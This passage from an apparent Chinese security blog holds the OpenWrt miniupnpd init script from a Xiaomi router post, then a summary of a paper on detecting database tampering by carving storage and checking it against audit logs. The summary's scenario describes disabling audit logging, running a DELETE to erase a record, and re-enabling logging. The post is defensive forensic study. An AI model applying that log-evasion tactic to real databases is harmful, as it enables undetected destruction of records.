*upnp*./etc/rc.d/S95miniupnpd./etc/init.d/miniupnpd./etc/hotplug.d/iface/50-miniupnpd./etc/config/upnpd./tmp/upnp.leases./tmp/etc/miniupnpd.conf./tmp/run/miniupnpd.pid./usr/lib/lua/luci/view/web/setting/upnp.htm./usr/sbin/miniupnpd./usr/share/miniupnpd./www/xiaoqiang/web/css/upnp.css./data/etc/rc.d/S95miniupnpd./data/etc/init.d/miniupnpd./data/etc/hotplug.d/iface/50-miniupnpd./data/etc/config/upnpd</pre><ul><li>/etc/rc.d 启动的配置文件和脚本</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br></pre></td><td class="code"><pre><span class="line">!/bin/sh /etc/rc.common</span><br><span class="line"><span class="comment"># Copyright (C) 2006-2011 OpenWrt.org</span></span><br><span class="line"></span><br><span class="line">START=95</span><br><span class="line">SERVICE_USE_PID=1</span><br><span class="line"><span class="function"><span class="title">upnpd_get_port_range</span></span>() &#123;</span><br><span class="line"> <span class="built_in">local</span> _var=<span class="string">"<span class="variable">$1</span>"</span>; <span class="built_in">shift</span></span><br><span class="line"> <span class="built_in">local</span> _val</span><br><span class="line"> config_get _val <span class="string">"<span class="variable">$@</span>"</span></span><br><span class="line"> <span class="keyword">case</span> <span class="string">"<span class="variable">$_val</span>"</span> <span class="keyword">in</span></span><br><span class="line"> [0-9]*[:-][0-9]*)</span><br><span class="line"> <span class="built_in">export</span> -n -- <span class="string">"<span class="variable">$&#123;_var&#125;</span>_start=<span class="variable">$&#123;_val%%[:-]*&#125;</span>"</span></span><br><span class="line"> <span class="built_in">export</span> -n -- <span class="string">"<span class="variable">$&#123;_var&#125;</span>_end=<span class="variable">$&#123;_val##*[:-]&#125;</span>"</span></span><br><span class="line"> ;;</span><br><span class="line"> [0-9]*)</span><br><span class="line"> <span class="built_in">export</span> -n -- <span class="string">"<span class="variable">$&#123;_var&#125;</span>_start=<span class="variable">$_val</span>"</span></span><br><span class="line"> <span class="built_in">export</span> -n -- <span class="string">"<span class="variable">$&#123;_var&#125;</span>_end="</span></span><br><span class="line"> ;;</span><br><span class="line"> <span class="keyword">esac</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="title">conf_rule_add</span></span>() &#123;</span><br><span class="line"> <span class="built_in">local</span> cfg=<span class="string">"<span class="variable">$1</span>"</span></span><br><span class="line"> <span class="built_in">local</span> tmpconf=<span class="string">"<span class="variable">$2</span>"</span></span><br><span class="line"> <span class="built_in">local</span> action external_port_start external_port_end int_addr</span><br><span class="line"> <span class="built_in">local</span> internal_port_start internal_port_end</span><br><span class="line"></span><br><span class="line"> config_get action <span class="string">"<span class="variable">$cfg</span>"</span> action <span class="string">"deny"</span> <span class="comment"># allow or deny</span></span><br><span class="line"> upnpd_get_port_range <span class="string">"ext"</span> <span class="string">"<span class="variable">$cfg</span>"</span> ext_ports <span class="string">"0-65535"</span> <span class="comment"># external ports: x, x-y, x:y</span></span><br><span class="line"> config_get int_addr <span class="string">"<span class="variable">$cfg</span>"</span> int_addr <span class="string">"0.0.0.0/0"</span> <span class="comment"># ip or network and subnet mask (internal)</span></span><br><span class="line"> upnpd_get_port_range <span class="string">"int"</span> <span class="string">"<span class="variable">$cfg</span>"</span> int_ports <span class="string">"0-65535"</span> <span class="comment"># internal ports: x, x-y, x:y or range</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># Make a single IP IP/32 so that miniupnpd.conf can use it.</span></span><br><span class="line"> <span class="keyword">case</span> <span class="string">"<span class="variable">$int_addr</span>"</span> <span class="keyword">in</span></span><br><span class="line"> */*) ;;</span><br><span class="line"> *) int_addr=<span class="string">"<span class="variable">$int_addr</span>/32"</span> ;;</span><br><span class="line"> <span class="keyword">esac</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$&#123;action&#125;</span> <span class="variable">$&#123;ext_start&#125;</span><span class="variable">$&#123;ext_end:+-&#125;</span><span class="variable">$&#123;ext_end&#125;</span> <span class="variable">$&#123;int_addr&#125;</span> <span class="variable">$&#123;int_start&#125;</span><span class="variable">$&#123;int_end:+-&#125;</span><span class="variable">$&#123;int_end&#125;</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="title">upnpd_write_bool</span></span>() &#123; </span><br><span class="line"> <span class="built_in">local</span> opt=<span class="string">"<span class="variable">$1</span>"</span> </span><br><span class="line"> <span class="built_in">local</span> def=<span class="string">"<span class="variable">$&#123;2:-0&#125;</span>"</span> </span><br><span class="line"> <span class="built_in">local</span> alt=<span class="string">"<span class="variable">$3</span>"</span> </span><br><span class="line"> <span class="built_in">local</span> val </span><br><span class="line"></span><br><span class="line"> config_get_bool val config <span class="string">"<span class="variable">$opt</span>"</span> <span class="string">"<span class="variable">$def</span>"</span> </span><br><span class="line"> <span class="keyword">if</span> [ <span class="string">"<span class="variable">$val</span>"</span> -eq 0 ]; <span class="keyword">then</span> </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$&#123;alt:-$opt&#125;</span>=no"</span> &gt;&gt; <span class="variable">$tmpconf</span> </span><br><span class="line"> <span class="keyword">else</span> </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<span class="variable">$&#123;alt:-$opt&#125;</span>=yes"</span> &gt;&gt; <span class="variable">$tmpconf</span> </span><br><span class="line"> <span class="keyword">fi</span> </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">boot</span></span>() &#123; </span><br><span class="line"> <span class="built_in">return</span> 0 </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">start</span></span>() &#123; </span><br><span class="line"> config_load <span class="string">"upnpd"</span> </span><br><span class="line"> <span class="built_in">local</span> extiface intiface upload download logging secure enabled natpmp </span><br><span class="line"> <span class="built_in">local</span> extip port usesysuptime conffile serial_number model_number </span><br><span class="line"> <span class="built_in">local</span> uuid notify_interval presentation_url enable_upnp </span><br><span class="line"> <span class="built_in">local</span> upnp_lease_file clean_ruleset_threshold clean_ruleset_interval </span><br><span class="line"></span><br><span class="line"> config_get extiface config external_iface </span><br><span class="line"> config_get intiface config internal_iface </span><br><span class="line"> config_get extip config external_ip </span><br><span class="line"> config_get port config port 5000 </span><br><span class="line"> config_get upload config upload </span><br><span class="line"> config_get download config download </span><br><span class="line"> config_get_bool logging config log_output 0 </span><br><span class="line"> config_get conffile config config_file </span><br><span class="line"> config_get serial_number config serial_number </span><br><span class="line"> config_get model_number config model_number </span><br><span class="line"> config_get uuid config uuid </span><br><span class="line"> config_get notify_interval config notify_interval </span><br><span class="line"> config_get presentation_url config presentation_url </span><br><span class="line"> config_get upnp_lease_file config upnp_lease_file </span><br><span class="line"> config_get clean_ruleset_threshold config clean_ruleset_threshold </span><br><span class="line"> config_get clean_ruleset_interval config clean_ruleset_interval </span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> args </span><br><span class="line"></span><br><span class="line"> . /lib/<span class="built_in">functions</span>/network.sh </span><br><span class="line"> <span class="built_in">local</span> ifname </span><br><span class="line"> network_get_device ifname <span class="variable">$&#123;extiface:-wan&#125;</span> </span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$conffile</span>"</span> ]; <span class="keyword">then</span> </span><br><span class="line"> args=<span class="string">"-f <span class="variable">$conffile</span>"</span> </span><br><span class="line"> <span class="keyword">else</span> </span><br><span class="line"> <span class="built_in">local</span> tmpconf=<span class="string">"/var/etc/miniupnpd.conf"</span> </span><br><span class="line"> args=<span class="string">"-f <span class="variable">$tmpconf</span>"</span> </span><br><span class="line"> mkdir -p /var/etc </span><br><span class="line"></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"ext_ifname=<span class="variable">$ifname</span>"</span> &gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> [ -n <span class="string">"<span class="variable">$extip</span>"</span> ] &amp;&amp; \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"ext_ip=<span class="variable">$extip</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> <span class="built_in">local</span> iface </span><br><span class="line"> <span class="keyword">for</span> iface <span class="keyword">in</span> <span class="variable">$&#123;intiface:-lan&#125;</span>; <span class="keyword">do</span> </span><br><span class="line"> <span class="built_in">local</span> device </span><br><span class="line"> network_get_device device <span class="string">"<span class="variable">$iface</span>"</span> &amp;&amp; &#123; </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"listening_ip=<span class="variable">$device</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"> &#125; </span><br><span class="line"> <span class="keyword">done</span> </span><br><span class="line"></span><br><span class="line"> [ <span class="string">"<span class="variable">$port</span>"</span> != <span class="string">"auto"</span> ] &amp;&amp; \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"port=<span class="variable">$port</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> config_load <span class="string">"upnpd"</span> </span><br><span class="line"> upnpd_write_bool enable_natpmp 1 </span><br><span class="line"> upnpd_write_bool enable_upnp 1 </span><br><span class="line"> upnpd_write_bool secure_mode 1 </span><br><span class="line"> upnpd_write_bool system_uptime 1 </span><br><span class="line"> [ -n <span class="string">"<span class="variable">$upnp_lease_file</span>"</span> ] &amp;&amp; &#123; </span><br><span class="line"> touch <span class="variable">$upnp_lease_file</span> </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"lease_file=<span class="variable">$upnp_lease_file</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"> &#125; </span><br><span class="line"></span><br><span class="line"> [ -n <span class="string">"<span class="variable">$upload</span>"</span> -a -n <span class="string">"<span class="variable">$download</span>"</span> ] &amp;&amp; &#123; </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"bitrate_down=<span class="variable">$(($download * 1024 * 8)</span>)"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"bitrate_up=<span class="variable">$(($upload * 1024 * 8)</span>)"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"> &#125; </span><br><span class="line"></span><br><span class="line"> [ -n <span class="string">"<span class="variable">$&#123;presentation_url&#125;</span>"</span> ] &amp;&amp; \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"presentation_url=<span class="variable">$&#123;presentation_url&#125;</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> [ -n <span class="string">"<span class="variable">$&#123;notify_interval&#125;</span>"</span> ] &amp;&amp; \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"notify_interval=<span class="variable">$&#123;notify_interval&#125;</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> [ -n <span class="string">"<span class="variable">$&#123;clean_ruleset_threshold&#125;</span>"</span> ] &amp;&amp; \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"clean_ruleset_threshold=<span class="variable">$&#123;clean_ruleset_threshold&#125;</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> [ -n <span class="string">"<span class="variable">$&#123;clean_ruleset_interval&#125;</span>"</span> ] &amp;&amp; \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"clean_ruleset_interval=<span class="variable">$&#123;clean_ruleset_interval&#125;</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> [ -z <span class="string">"<span class="variable">$uuid</span>"</span> ] &amp;&amp; &#123; </span><br><span class="line"> uuid=<span class="string">"<span class="variable">$(cat /proc/sys/kernel/random/uuid)</span>"</span> </span><br><span class="line"> uci <span class="built_in">set</span> upnpd.config.uuid=<span class="variable">$uuid</span> </span><br><span class="line"> uci commit upnpd </span><br><span class="line"> &#125; </span><br><span class="line"></span><br><span class="line"> [ <span class="string">"<span class="variable">$uuid</span>"</span> = <span class="string">"nocli"</span> ] || \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"uuid=<span class="variable">$uuid</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> [ -n <span class="string">"<span class="variable">$&#123;serial_number&#125;</span>"</span> ] &amp;&amp; \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"serial=<span class="variable">$&#123;serial_number&#125;</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"></span><br><span class="line"> [ -n <span class="string">"<span class="variable">$&#123;model_number&#125;</span>"</span> ] &amp;&amp; \ </span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"model_number=<span class="variable">$&#123;model_number&#125;</span>"</span> &gt;&gt;<span class="variable">$tmpconf</span> </span><br><span class="line"> config_foreach conf_rule_add perm_rule <span class="string">"<span class="variable">$tmpconf</span>"</span> </span><br><span class="line"> <span class="keyword">fi</span> </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$ifname</span>"</span> ]; <span class="keyword">then</span> </span><br><span class="line"> <span class="comment"># start firewall </span></span><br><span class="line"> iptables -L MINIUPNPD &gt;/dev/null 2&gt;/dev/null || fw3 reload </span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> [ <span class="string">"<span class="variable">$logging</span>"</span> = <span class="string">"1"</span> ]; <span class="keyword">then</span> </span><br><span class="line"> SERVICE_DAEMONIZE=1 \ </span><br><span class="line"> service_start /usr/sbin/miniupnpd <span class="variable">$args</span> -d </span><br><span class="line"> <span class="keyword">else</span> </span><br><span class="line"> SERVICE_DAEMONIZE= \ </span><br><span class="line"> service_start /usr/sbin/miniupnpd <span class="variable">$args</span> </span><br><span class="line"> <span class="keyword">fi</span> </span><br><span class="line"> <span class="keyword">else</span> </span><br><span class="line"> logger -t <span class="string">"upnp daemon"</span> <span class="string">"external interface not found, not starting"</span> </span><br><span class="line"> <span class="keyword">fi</span> </span><br><span class="line"> <span class="built_in">return</span> 0 </span><br><span class="line"> &#125; </span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="title">stop</span></span>() &#123; </span><br><span class="line"> service_stop /usr/sbin/miniupnpd </span><br><span class="line"></span><br><span class="line"> iptables -t nat -F MINIUPNPD 2&gt;/dev/null </span><br><span class="line"> iptables -t filter -F MINIUPNPD 2&gt;/dev/null </span><br><span class="line"> <span class="built_in">return</span> 0 </span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>SmartController<br>messagingagent</p>]]></content>
<categories>
<category> IOT </category>
</categories>
<tags>
<tag> 小米 </tag>
<tag> 路由器 </tag>
<tag> MiniUPnP </tag>
</tags>
</entry>
<entry>
<title>复原数据库存储以检测和跟踪安全漏洞</title>
<link href="/2019/04/15/Caving-db-storage/"/>
<url>/2019/04/15/Caving-db-storage/</url>
<content type="html"><![CDATA[<h1 id="Carving-Database-Storage-to-Detect-and-Trace-Security-Breaches"><a href="#Carving-Database-Storage-to-Detect-and-Trace-Security-Breaches" class="headerlink" title="Carving Database Storage to Detect and Trace Security Breaches"></a>Carving Database Storage to Detect and Trace Security Breaches</h1><blockquote><p>复原数据库存储以检测和跟踪安全漏洞<br><a href="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312497/paper/2016-paper_carving_database_storage_to_detect_and.pdf" target="_blank" rel="noopener">原文下载</a></p></blockquote><h2 id="Motivation"><a href="#Motivation" class="headerlink" title="Motivation"></a>Motivation</h2><h3 id="DBMS-数据库管理系统"><a href="#DBMS-数据库管理系统" class="headerlink" title="DBMS(数据库管理系统)"></a>DBMS(数据库管理系统)</h3><ul><li>通常用于存储和处理敏感数据因此投入了大量精力使用访问控制策略来保护DBMS。</li><li>一旦用户在DBMS中获得提升权限无论是合理的还是通过攻击的实施的安全方案可以绕过因此无法再根据政策保证数据受到保护。<br>1访问控制策略可能不完整允许用户执行他们不能执行的命令<br>2用户可能通过使用DB或OS代码中的安全漏洞或通过其他方式非法获取权限</li><li>部署预防措施<br>1在及时发生安全漏洞时检测安全漏洞;<br>2在检测到攻击时收集有关攻击的证据以便设计对抗措施并评估损害程度</li></ul><h3 id="例子"><a href="#例子" class="headerlink" title="例子"></a>例子</h3><p>Malice是政府机构的数据库管理员为公民提供犯罪记录。 Malice最近被判犯有欺诈罪并决定滥用她的特权并通过运行DELETE FROM Record WHERE name = Malice来删除她的犯罪记录。<br>但是她知道数据库操作需要定期审核以检测对机构存储的高度敏感数据的篡改。为了覆盖她的操作Malice在运行DELETE操作之前停用审计日志然后再次激活日志。因此在数据库中没有她的非法操纵的日志跟踪。<br>但是,磁盘上的数据库存储仍将包含已删除行的证据。<br>作者的方法检测已删除的痕迹和过期的记录版本,并将它们与审核日志进行匹配,以检测此类攻击,并提供数据库操作方式的证据。<br>作者将检测已删除的行,因为它与审计日志中的任何操作都不对应,我们会将其标记为篡改的潜在证据。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310640/paper/%E5%9B%BE%E7%89%871.png" alt></p><h3 id="思路一览"><a href="#思路一览" class="headerlink" title="思路一览"></a>思路一览</h3><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310736/paper/%E6%8D%95%E8%8E%B7.png" alt></p><h3 id="提出方法"><a href="#提出方法" class="headerlink" title="提出方法"></a>提出方法</h3><p>使用称为DICE的现有取证工具Wagner等2017来重建数据库存储<br>通过匹配提取的存储条目,报告任何无法通过操作记录解释的工件来自动检测潜在的攻击</p><ol><li>DBDetective检查数据库存储和RAM快照并将它找到的内容与审计日志进行比较</li><li>然后,在不影响数据库操作的情况下,对核心数据进行分析。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555310863/paper/%E5%9B%BE%E7%89%872.png" alt></li></ol><p>确定数据库篡改的可能性,并指出数据库存储中发现的具体不一致性。<br>由于数据库存储的易变性,无法保证将发现所有攻击。<br>在对于我们评估的每个主要DBMS我们假设DBMS已启用审计日志来捕获与调查相关的SQL命令。<br>我们进一步假设一名攻击者通过以下方式阻止记录已执行的恶意命令:</p><ul><li>停用审计策略并暂时挂起日志记录</li><li>更改现有审计日志(两者都在数据库日志可靠性部分中讨论)。<br>通过将取证分析技术应用于数据库存储或缓冲区缓存,并将发现的证据与审计日志相匹配,可以:</li><li>检测DBMS审核日志中未显示的多种类型的数据库访问和操作。</li><li>将未归因的记录修改分类为模糊的INSERTDELETE或UPDATE命令。</li><li>检测无法从审核日志中的活动派生的只读SELECT查询中的缓存数据。</li></ul><h2 id="Reliability-of-database-logs"><a href="#Reliability-of-database-logs" class="headerlink" title="Reliability of database logs"></a>Reliability of database logs</h2><p>攻击者可以更改两种类型的日志: write-ahead logs (WAL) and audit logs (event history records)</p><ul><li>WALs以低级别记录数据库修改以支持ACID保证提供最近表修改的历史记录。<br>通常无法禁用或轻松修改WAL并且需要读取专用工具例如Oracle LogMiner或PostgreSQL pg_xlogdump。<br>某些DBMS允许为特定操作禁用WAL例如批量加载或结构重建。因此可以通过此功能插入记录而不留下日志跟踪。</li><li>audit logs记录配置的用户数据库操作。包括SQL操作和其他用户活动。审计日志根据数据库管理员配置的日志记录策略存储已执行的SQL命令。 因此,管理员可以根据需要禁用日志记录或修改单个日志记录。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555311090/paper/%E5%9B%BE%E7%89%873.png" alt></li></ul><h2 id="Detecting-hidden-record-modifications"><a href="#Detecting-hidden-record-modifications" class="headerlink" title="Detecting hidden record modifications"></a>Detecting hidden record modifications</h2><p>插入或修改表记录时,数据库中会发生一连串的存储更改。 除了受影响记录的数据本身之外,页面元数据会更新(例如,设置删除标记),并且存储记录的索引的页面会改变(例如,以反映记录的删除)。 如果尚未缓存则每个访问的页面都将被带入RAM。 行标识符和结构标识符可用于将所有这些更改绑定在一起。<br>此外DBA数据库管理员还可以禁用批量修改的日志记录出于性能考虑——可以利用此权限来隐藏恶意修改。<br>在本节中,我们将描述如何检测已修改记录与已记录命令之间的不一致。</p><h3 id="Deleted-records"><a href="#Deleted-records" class="headerlink" title="Deleted records"></a>Deleted records</h3><ol><li>算法<br>删除的记录不会被物理删除,而是在页面中标记为“已删除”; 已删除行占用的存储空间将成为未分配的空间,最终将被新行覆盖。这些对数据库存储的更改不能被绕过或控制。<br>识别存储中与日志中的任何删除操作都不匹配的已删除行。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555311166/paper/%E5%9B%BE%E7%89%874.png" alt></li><li>实例</li></ol><ul><li>DICE从Customer表重建了三个删除的行<br>1ChristineChicago<br>3ChristopherSeattle<br>4ThomasAustin</li><li>日志文件包含两个操作<br>在算法1中DeletedRows被设置为三个重建的已删除行。<br>算法1返回4ThomasAustin表示该删除的记录不能归因于任何删除。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555311315/paper/%E5%9B%BE%E7%89%875.png" alt></li></ul><h3 id="Inserted-records"><a href="#Inserted-records" class="headerlink" title="Inserted records"></a>Inserted records</h3><ol><li>算法<br>新插入的行将附加到表的最后一页的末尾(如果最后一页已满,则为新页)或覆盖由先前删除的行创建的可用空间。<br>如果“活跃”新表行与审核日志中的任何插入操作都不匹配,则此行是可疑活动的标志。<br>算法2中使用这些“活跃”记录来确定重构行是否可归因于审计日志中的插入。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555311991/paper/%E5%9B%BE%E7%89%876.png" alt></li><li>实例</li></ol><ul><li>该日志包含六个操作。<br>当行从T1插入到T4时它们将附加到表的末尾。<br>在T5删除3Lamp<br>然后在T6插入5Bookcase。<br>由于row5Bookcase大于删除的行3Lamp因此它将附加到表的末尾。</li><li>DICE重建了五个活动记录<br>包括0Dog2Monkey<br>行被初始化为算法2的五个重建活动行<br>算法2因此返回0Dog2Monkey<br>因为这些记录无法与记录的插入匹配。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312072/paper/%E5%9B%BE%E7%89%877.png" alt></li></ul><h3 id="Updated-records"><a href="#Updated-records" class="headerlink" title="Updated records"></a>Updated records</h3><ol><li>算法<br>UPDATE操作本质上是一个DELETE操作后跟一个INSERT操作。<br>为了考虑更新的行我们使用算法1返回的未标记删除行和算法2返回的未标记插入行作为算法3的输入。如果删除的行可以与更新的WHERE子句匹配那么此删除的行操作 被标记为存在于日志中。 接下来如果未标记的插入行可以与SET子句中的值匹配并且插入的行匹配已删除行中除SET子句值之外的所有值则此插入的行操作将出现在日志中。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312183/paper/%E5%9B%BE%E7%89%878.png" alt></li><li>实例<br>算法1返回行2Desk<br>算法2返回行0Dog2Monkey<br>使用这些记录集算法3返回2Desk作为已删除记录的列表并将0Dog2Monkey作为插入记录的列表。<br>此外算法3识别2Desk2Monkey中第一列的共享值2。 虽然这不能单独确认UPDATE操作但可以合理地得出结论<br>2Desk已更新为2Monkey。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312234/paper/%E5%9B%BE%E7%89%879.png" alt></li></ol><h2 id="Detecting-inconsistencies-for-read-only-queries"><a href="#Detecting-inconsistencies-for-read-only-queries" class="headerlink" title="Detecting inconsistencies for read-only queries"></a>Detecting inconsistencies for read-only queries</h2><p>DBMS使用称为缓冲区管理器的组件将页面从磁盘缓存到内存中。数据以页为单位读入缓冲池可以通过DICE重建。<br>在本节中,将描述如何将缓冲池中的工件与审计日志中的只读查询进行匹配。<br>数据库查询可以使用两种可能的访问表的方式之一:<br>全表扫描FTS或索引扫描IS。<br>FTS读取所有表页而IS使用索引结构来检索引用基于搜索关键字的指针列表。</p><h3 id="Full-table-scan"><a href="#Full-table-scan" class="headerlink" title="Full table scan"></a>Full table scan</h3><p>当查询使用FTS时只会缓存大表的一小部分。 可以完整地缓存小表(相对于缓冲池大小)。 每个数据库都在页眉中存储唯一的页面标识符,这使我们能够有效地将缓存的页面与磁盘上的对应页面进行匹配。<br>我们可以通过SID=131识别属于Employee的页面该SID=131存储在页面标题中。 DICE只能以更快的速度返回页面结构标识符无需解析页面内容。<br>Q2和Q4都通过FTS访问员工。 每次扫描Employee表时表中相同的四个页面PID97,98,99和100都会加载到缓冲池中。<br>因此当在存储器中找到具有PID:97,98,99和100以及SID:131的四个页面时可以假设FTS应用在Employee表上。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312316/paper/%E5%9B%BE%E7%89%8710.png" alt></p><h3 id="Index-access"><a href="#Index-access" class="headerlink" title="Index access"></a>Index access</h3><p>Customer表的SID=124C_City列上的二级索引的SID=126.<br>Q1在城市Dallas上进行过滤并使用PID=2缓存索引页。此页面的最小值为Chicago和最大值为Detroit 。<br>Q3在城市Jackson上过滤并缓存索引页面页面标识符为4.此页面的最小值为Houston最大值为Lincoln。<br>如果审核日志中的查询过滤了索引页的最小值和最大值范围内的值,则该页可以归因于该查询。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1555312359/paper/%E5%9B%BE%E7%89%8711.png" alt></p><h3 id="Conclusions-and-future-work"><a href="#Conclusions-and-future-work" class="headerlink" title="Conclusions and future work"></a>Conclusions and future 